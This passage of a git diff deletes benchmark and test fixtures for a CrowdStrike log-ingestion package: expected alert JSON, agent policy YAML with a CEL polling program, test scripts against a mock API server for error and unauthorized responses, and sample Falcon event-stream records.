disabled\",\"event_category\":\"Management\",\"event_count\":1,\"event_id\":\"09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"event_name\":\"DeleteFlowLogs\",\"event_source\":\"ec2.amazonaws.com\",\"event_type\":\"AwsApiCall\",\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/unified-detections/<redacted>\",\"fcs_vertex_id\":\"206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94:ioa\",\"first_timestamp\":\"2026-01-27T20:25:22.94Z\",\"id\":\"fcs:ioa-206:09a917ca-d430-4cd2-ae55-ceaec7e7dc94\",\"last_timestamp\":\"2026-01-27T20:25:22.94Z\",\"mfa_authenticated\":\"true\",\"mitre_attack\":[{\"pattern_id\":2036,\"tactic_id\":\"TA0005\",\"technique_id\":\"T1562.008\",\"tactic\":\"Defense Evasion\",\"technique\":\"Impair Defenses:Disable Cloud Logs\"}],\"name\":\"VPC flow logs disabled\",\"origin_cid\":\"bdc3e3474d8848f1**************\",\"pattern_id\":2036,\"policy_id\":\"206\",\"policy_statement\":\"VPC flow logs disabled\",\"poly_id\":\"<redacted>\",\"product\":\"fcs\",\"request_parameters\":\"{\\\"DeleteFlowLogsRequest\\\":{\\\"FlowLogId\\\":{\\\"content\\\":\\\"fl-***************\\\",\\\"tag\\\":1}}}\",\"resource_gcrn\":\"bdc3e3474d8848f1**************|aws|XXXXXXXXXXXX|us-east-2|AWS::EC2::FlowLog|fl-***************\",\"resource_uuid\":\"<redacted>\",\"response_elements\":\"{\\\"DeleteFlowLogsResponse\\\":{\\\"requestId\\\":\\\"<redacted>\\\",\\\"unsuccessful\\\":\\\"\\\",\\\"xmlns\\\":\\\"http://ec2.amazonaws.com/doc/2016-11-15/\\\"}}\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"service\":\"VPC\",\"severity\":40,\"severity_name\":\"Medium\",\"show_in_ui\":true,\"source_account_name\":\"elastic-siem\",\"source_ip_address\":\"34.194.234.218\",\"source_products\":[\"Falcon Cloud Security\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Defense Evasion\",\"tactic_id\":\"TA0005\",\"technique\":\"Impair Defenses:Disable Cloud Logs\",\"technique_id\":\"T1562.008\",\"timestamp\":\"2026-01-27T20:34:37Z\",\"type\":\"cloud-ioa\",\"updated_timestamp\":\"2026-01-27T20:34:47.330964263Z\",\"user_agent\":\"<redacted>\",\"user_display_name\":\"user@example.com\",\"user_name\":\"user@example.com\",\"user_principal_id\":\"AIDA*************\"}",
-                "severity": 47
-            },
-            "related": {
-                "user": [
-                    "elastic-siem",
-                    "user@example.com"
-                ]
-            },
-            "source": {
-                "user": {
-                    "name": "elastic-siem"
-                }
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "MITRE ATT&CK",
-                "tactic": {
-                    "id": [
-                        "TA0005"
-                    ],
-                    "name": [
-                        "Defense Evasion"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "T1562.008"
-                    ],
-                    "name": [
-                        "Impair Defenses:Disable Cloud Logs"
-                    ]
-                }
-            },
-            "user": {
-                "name": "user@example.com"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
deleted file mode 100644
index be41bb0d47..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-fields:
-  tags:
-    - preserve_original_event
-    - preserve_duplicate_custom_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
deleted file mode 100644
index af6a6e323c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
+++ /dev/null
@@ -1,134 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-default-crowdstrike
-      streams:
-        - auth.oauth2:
-            client.id: test_client_id
-            client.secret: ${SECRET_0}
-            token_url: http://host.tld/oauth2/token
-          config_version: 2
-          data_stream:
-            dataset: crowdstrike.alert
-          interval: 24h
-          program: |-
-            state.with(
-              (
-                state.?want_more.orValue(false) ?
-                  state.start_time
-                :
-                  state.?cursor.last_timestamp.orValue(
-                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
-                  )
-              ).as(start_time,
-                post_request(
-                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
-                  "application/json",
-                  {
-                    ?"after": state.?next.page_token,
-                    "limit": int(state.batch_size),
-                    "sort": "updated_timestamp|asc",
-                    "filter": [
-                      "updated_timestamp:>'" + start_time + "'",
-                      ?state.?query.optMap(q, "(" + q + ")"),
-                    ].join("+"),
-                  }.encode_json()
-                ).do_request().as(resp, (resp.StatusCode == 200) ?
-                  resp.Body.decode_json().as(body,
-                    (size(body.?errors.orValue([])) > 0) ?
-                      {
-                        "events": body.errors.map(error,
-                          {
-                            "error": {
-                              "code": string(error.code),
-                              "message": string(error.message),
-                            },
-                          }
-                        ),
-                        "next": {},
-                        "want_more": false,
-                      }
-                    :
-                      {
-                        "events": has(body.resources) ?
-                          body.resources.map(e,
-                            {
-                              "message": e.encode_json(),
-                            }
-                          )
-                        :
-                          [],
-                        "start_time": start_time,
-                        "next": {
-                          ?"page_token": body.?meta.pagination.after,
-                        },
-                        "cursor": {
-                          // The records are sorted in ascending order based on the value of updated_timestamp,
-                          // in the next interval we start from the last event (newest) time.
-                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
-                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
-                          :
-                            state.?cursor.last_timestamp,
-                        },
-                        "want_more": has(body.?meta.pagination.after),
-                      }
-                  )
-                :
-                  {
-                    "events": {
-                      "error": {
-                        "code": string(resp.StatusCode),
-                        "id": string(resp.Status),
-                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
-                          (size(resp.Body) != 0) ?
-                            string(resp.Body)
-                          :
-                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
-                        ),
-                      },
-                    },
-                    "next": {},
-                    "want_more": false,
-                  }
-                )
-              )
-            )
-          publisher_pipeline.disable_host: true
-          redact:
-            fields: null
-          resource.ssl: null
-          resource.timeout: 30s
-          resource.tracer:
-            enabled: false
-            filename: ../../logs/cel/http-request-trace-*.ndjson
-            maxbackups: 5
-          resource.url: http://host.tld
-          state:
-            batch_size: 1000
-            initial_interval: 24h
-          tags:
-            - preserve_original_event
-            - preserve_duplicate_custom_fields
-            - forwarded
-            - crowdstrike-alert
-      type: cel
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.alert-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references:
-    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
deleted file mode 100644
index 58bbc1f403..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
deleted file mode 100644
index dbe88b82e4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
+++ /dev/null
@@ -1,134 +0,0 @@
-inputs:
-    - data_stream:
-        namespace: ep
-      meta:
-        package:
-            name: crowdstrike
-      name: test-traced-crowdstrike
-      streams:
-        - auth.oauth2:
-            client.id: test_client_id
-            client.secret: ${SECRET_0}
-            token_url: http://host.tld/oauth2/token
-          config_version: 2
-          data_stream:
-            dataset: crowdstrike.alert
-          interval: 24h
-          program: |-
-            state.with(
-              (
-                state.?want_more.orValue(false) ?
-                  state.start_time
-                :
-                  state.?cursor.last_timestamp.orValue(
-                    (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano)
-                  )
-              ).as(start_time,
-                post_request(
-                  state.url.trim_right("/") + "/alerts/combined/alerts/v1?",
-                  "application/json",
-                  {
-                    ?"after": state.?next.page_token,
-                    "limit": int(state.batch_size),
-                    "sort": "updated_timestamp|asc",
-                    "filter": [
-                      "updated_timestamp:>'" + start_time + "'",
-                      ?state.?query.optMap(q, "(" + q + ")"),
-                    ].join("+"),
-                  }.encode_json()
-                ).do_request().as(resp, (resp.StatusCode == 200) ?
-                  resp.Body.decode_json().as(body,
-                    (size(body.?errors.orValue([])) > 0) ?
-                      {
-                        "events": body.errors.map(error,
-                          {
-                            "error": {
-                              "code": string(error.code),
-                              "message": string(error.message),
-                            },
-                          }
-                        ),
-                        "next": {},
-                        "want_more": false,
-                      }
-                    :
-                      {
-                        "events": has(body.resources) ?
-                          body.resources.map(e,
-                            {
-                              "message": e.encode_json(),
-                            }
-                          )
-                        :
-                          [],
-                        "start_time": start_time,
-                        "next": {
-                          ?"page_token": body.?meta.pagination.after,
-                        },
-                        "cursor": {
-                          // The records are sorted in ascending order based on the value of updated_timestamp,
-                          // in the next interval we start from the last event (newest) time.
-                          ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ?
-                            optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano))
-                          :
-                            state.?cursor.last_timestamp,
-                        },
-                        "want_more": has(body.?meta.pagination.after),
-                      }
-                  )
-                :
-                  {
-                    "events": {
-                      "error": {
-                        "code": string(resp.StatusCode),
-                        "id": string(resp.Status),
-                        "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + (
-                          (size(resp.Body) != 0) ?
-                            string(resp.Body)
-                          :
-                            string(resp.Status) + " (" + string(resp.StatusCode) + ")"
-                        ),
-                      },
-                    },
-                    "next": {},
-                    "want_more": false,
-                  }
-                )
-              )
-            )
-          publisher_pipeline.disable_host: true
-          redact:
-            fields: null
-          resource.ssl: null
-          resource.timeout: 30s
-          resource.tracer:
-            enabled: true
-            filename: ../../logs/cel/http-request-trace-*.ndjson
-            maxbackups: 5
-          resource.url: http://host.tld
-          state:
-            batch_size: 1000
-            initial_interval: 24h
-          tags:
-            - preserve_original_event
-            - preserve_duplicate_custom_fields
-            - forwarded
-            - crowdstrike-alert
-      type: cel
-      use_output: default
-output_permissions:
-    default:
-        _elastic_agent_checks:
-            cluster:
-                - monitor
-        _elastic_agent_monitoring:
-            indices: []
-        uuid-for-permissions-on-related-indices:
-            indices:
-                - names:
-                    - logs-crowdstrike.alert-ep
-                  privileges:
-                    - auto_configure
-                    - create_doc
-secret_references:
-    - {}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
deleted file mode 100644
index 64c1d9d27e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-vars:
-  url: http://host.tld
-  client_id: test_client_id
-  client_secret: test_client_secret
-  token_url: http://host.tld/oauth2/token
-data_stream:
-  vars:
-    enable_request_tracer: true
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
deleted file mode 100644
index 7c7134fede..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
+++ /dev/null
@@ -1,111 +0,0 @@
-# Test that the alert data stream handles a CrowdStrike API error response
-# (HTTP 200 with a non-empty errors array) by emitting error events and
-# stopping collection.
-#
-# CrowdStrike returns errors inside a 200 response body rather than via HTTP
-# status codes. The CEL program checks body.errors and, when non-empty,
-# maps each entry to an error event and sets want_more=false.
-
-[!external_stack] skip 'Skipping external stack test.'
-[!exec:jq] skip 'Skipping test requiring absent jq command'
-
-# Connect to the running stack.
-use_stack -profile ${CONFIG_PROFILES}/${PROFILE}
-
-# Install an agent.
-install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME
-
-# Start the mock CrowdStrike API server.
-docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock
-
-# Workaround for https://github.com/elastic/elastic-package/issues/3321:
-# add_package passes the package dir as RepositoryRoot instead of the repo
-# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into
-# the package directory where the builder expects it.
-exec mkdir -p ${PACKAGE_ROOT}/licenses
-exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt
-
-# Add the package resources.
-add_package -profile ${CONFIG_PROFILES}/${PROFILE}
-
-# Add the data stream policy.
-add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME
-
-# Wait for exactly 1 document (the error event). Use a longer confirm duration
-# to verify no additional data events arrive.
-get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME}
-cp stdout got_docs.json
-
-# The error event should reference the API error message.
-exec jq -r '[.hits.hits[]._source.error.message // empty] | flatten | .[]' got_docs.json
-stdout 'Access denied'
-
-# No alert data events should be present.
-exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json
-stdout '^0$'
-
-# Clean up.
-remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME}
-uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m
-docker_down cs-mock
-
-# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321).
-exec rm -rf ${PACKAGE_ROOT}/licenses
-
--- test_config.yaml --
-input: cel
-vars:
-  url: http://cs-mock:8080
-  client_id: test-client-id
-  client_secret: test-client-secret
-  token_url: http://cs-mock:8080/oauth2/token
-data_stream:
-  vars:
-    interval: 30s
-    initial_interval: 1h
-    batch_size: 10
-    preserve_original_event: true
-    enable_request_tracer: false
--- cs-mock/docker-compose.yml --
-version: '2.3'
-services:
-  cs-mock:
-    image: docker.elastic.co/observability/stream:v0.20.0
-    hostname: cs-mock
-    ports:
-      - 8080
-    environment:
-      PORT: "8080"
-    volumes:
-      - ./config.yml:/config.yml
-    command:
-      - http-server
-      - --addr=:8080
-      - --config=/config.yml
--- cs-mock/config.yml --
-rules:
-  # OAuth2 token endpoint: returns a valid access token.
-  - path: /oauth2/token
-    methods: [POST]
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"}
-
-  # Alerts endpoint: returns 200 with a non-empty errors array.
-  # CrowdStrike uses this pattern for permission and scope errors.
-  - path: /alerts/combined/alerts/v1
-    methods: [POST]
-    request_headers:
-      Authorization:
-        - "Bearer test-token"
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"meta":{"pagination":{"total":0,"limit":10}},"errors":[{"code":403,"message":"Access denied: insufficient scope for this action"}],"resources":[]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
deleted file mode 100644
index 4c2c31eee8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-[!exec:echo] skip 'Skipping test requiring absent echo command'
-
-exec echo ${CONFIG_ROOT}
-stdout '/\.elastic-package$'
-
-exec echo ${CONFIG_PROFILES}
-stdout '/\.elastic-package/profiles$'
-
-exec echo ${PACKAGE_NAME}
-stdout '^crowdstrike$'
-
-exec echo ${PACKAGE_ROOT}
-stdout '/packages/crowdstrike$'
-
-exec echo ${DATA_STREAM}
-stdout '^alert$'
-
-exec echo ${DATA_STREAM_ROOT}
-stdout '/packages/crowdstrike/data_stream/alert$'
-
-exec echo ${CURRENT_VERSION}
-stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'
-
-exec echo ${PREVIOUS_VERSION}
-stdout '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
deleted file mode 100644
index 4d8aef78eb..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
+++ /dev/null
@@ -1,110 +0,0 @@
-# Test that the alert data stream handles an HTTP 401 Unauthorized response
-# by emitting an error event and stopping collection.
-#
-# A non-200 HTTP response causes the CEL program to emit a single error event
-# with error.code set to the HTTP status code and want_more=false.
-
-[!external_stack] skip 'Skipping external stack test.'
-[!exec:jq] skip 'Skipping test requiring absent jq command'
-
-# Connect to the running stack.
-use_stack -profile ${CONFIG_PROFILES}/${PROFILE}
-
-# Install an agent.
-install_agent -profile ${CONFIG_PROFILES}/${PROFILE} -network_name NETWORK_NAME
-
-# Start the mock CrowdStrike API server.
-docker_up -profile ${CONFIG_PROFILES}/${PROFILE} -network ${NETWORK_NAME} cs-mock
-
-# Workaround for https://github.com/elastic/elastic-package/issues/3321:
-# add_package passes the package dir as RepositoryRoot instead of the repo
-# root, so the builder can't find licenses/Elastic-2.0.txt. Copy it into
-# the package directory where the builder expects it.
-exec mkdir -p ${PACKAGE_ROOT}/licenses
-exec cp ${PACKAGE_ROOT}/../../licenses/Elastic-2.0.txt ${PACKAGE_ROOT}/licenses/Elastic-2.0.txt
-
-# Add the package resources.
-add_package -profile ${CONFIG_PROFILES}/${PROFILE}
-
-# Add the data stream policy.
-add_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} test_config.yaml DATA_STREAM_NAME
-
-# Wait for exactly 1 document (the error event). Use a longer confirm duration
-# to verify no additional data events arrive.
-get_docs -profile ${CONFIG_PROFILES}/${PROFILE} -want 1 -confirm 15s -timeout 5m ${DATA_STREAM_NAME}
-cp stdout got_docs.json
-
-# Verify the error message indicates the 401 response.
-exec jq -r '.hits.hits[0]._source.error.message' got_docs.json
-stdout 'Unauthorized'
-
-# The error message should reference the alerts endpoint.
-exec jq -r '.hits.hits[0]._source.error.message' got_docs.json
-stdout 'alerts/combined/alerts/v1'
-
-# No alert data events should be present.
-exec jq '[.hits.hits[]._source | select(.crowdstrike.alert != null)] | length' got_docs.json
-stdout '^0$'
-
-# Clean up.
-remove_package_policy -profile ${CONFIG_PROFILES}/${PROFILE} ${DATA_STREAM_NAME}
-uninstall_agent -profile ${CONFIG_PROFILES}/${PROFILE} -timeout 1m
-docker_down cs-mock
-
-# Clean up license workaround (https://github.com/elastic/elastic-package/issues/3321).
-exec rm -rf ${PACKAGE_ROOT}/licenses
-
--- test_config.yaml --
-input: cel
-vars:
-  url: http://cs-mock:8080
-  client_id: test-client-id
-  client_secret: test-client-secret
-  token_url: http://cs-mock:8080/oauth2/token
-data_stream:
-  vars:
-    interval: 30s
-    initial_interval: 1h
-    batch_size: 10
-    preserve_original_event: true
-    enable_request_tracer: false
--- cs-mock/docker-compose.yml --
-version: '2.3'
-services:
-  cs-mock:
-    image: docker.elastic.co/observability/stream:v0.20.0
-    hostname: cs-mock
-    ports:
-      - 8080
-    environment:
-      PORT: "8080"
-    volumes:
-      - ./config.yml:/config.yml
-    command:
-      - http-server
-      - --addr=:8080
-      - --config=/config.yml
--- cs-mock/config.yml --
-rules:
-  # OAuth2 token endpoint: returns a valid access token.
-  - path: /oauth2/token
-    methods: [POST]
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"access_token":"test-token","expires_in":3600,"token_type":"Bearer"}
-
-  # Alerts endpoint: returns 401 Unauthorized (invalid credentials).
-  # The CEL program emits an error event with error.code="401" and want_more=false.
-  - path: /alerts/combined/alerts/v1
-    methods: [POST]
-    responses:
-      - status_code: 401
-        headers:
-          Content-Type:
-            - "application/json"
-        body: |-
-          {"errors":[{"code":401,"message":"Unauthorized: invalid client credentials"}],"resources":[]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
deleted file mode 100644
index 7bdfd95a91..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-input: cel
-service: crowdstrike-alert
-vars:
-  url: http://{{Hostname}}:{{Port}}
-  client_id: xxxx
-  client_secret: xxxx
-  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
-data_stream:
-  vars:
-    interval: 10s
-    batch_size: 1
-    preserve_original_event: true
-    preserve_duplicate_custom_fields: true
-assert:
-  hit_count: 3
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
deleted file mode 100644
index 30a2b50cf6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
+++ /dev/null
@@ -1 +0,0 @@
-num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
deleted file mode 100644
index da66f7f084..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
+++ /dev/null
@@ -1,9 +0,0 @@
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694733,"eventType":"UserActivityAuditEvent","eventCreationTime":1698928127000,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"reveal_token","ServiceName":"sensor_update_policy","AuditKeyValues":[{"Key":"device_id","ValueString":"abcancancbanjjagjaj"},{"Key":"seedID","ValueString":"101"},{"Key":"message","ValueString":"Removeduplicatesensor."}],"UTCTimestamp":1698928127,"Attributes":{"device_id":"afjafanfafasfjaf","message":"Removeduplicatesensor.","seedID":"101"}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8694992,"eventType":"ScheduledReportNotificationEvent","eventCreationTime":1698930172000,"version":"1.0"},"event":{"UserUUID":"9999999-bc3c-99bb-a05a-bb94ff5dc0fb","UserID":"admin.rose@example.com","ExecutionID":"efghtigh","ReportID":"999999ddddddddd","ReportName":"LarouxSearch","ReportType":"event_search","ReportFileReference":"/reports/entities/report-executions-download/v1?ids=eeeeeeeeeerrrrr444444","Status":1,"StatusMessage":"message","ExecutionMetadata":{"ExecutionStart":1698930019000,"ExecutionDuration":152176,"ReportFileName":"Laroux_Search_2023_November_2_13017_34176.csv","ResultCount":0,"ResultID":"fffffzdlIiwiY3VzdG9tZXJfYXBwIjoiZWFtIiwic2lnbmF0dXJlX3BvcnRpb24iOiIzYWRhOTZiNDA4MTkxNTFhZmIxYjFkOTM2MWZhMmE1NjBmNGNkMzc0ODQxNTY4MDlkYzhmNDRkMmRkZDY1NzdlIn0=","SearchWindowStart":1698843600000,"SearchWindowEnd":1698930000000}}}
-{"metadata":{"customerIDString":"abcabcabc22222","offset":8695284,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
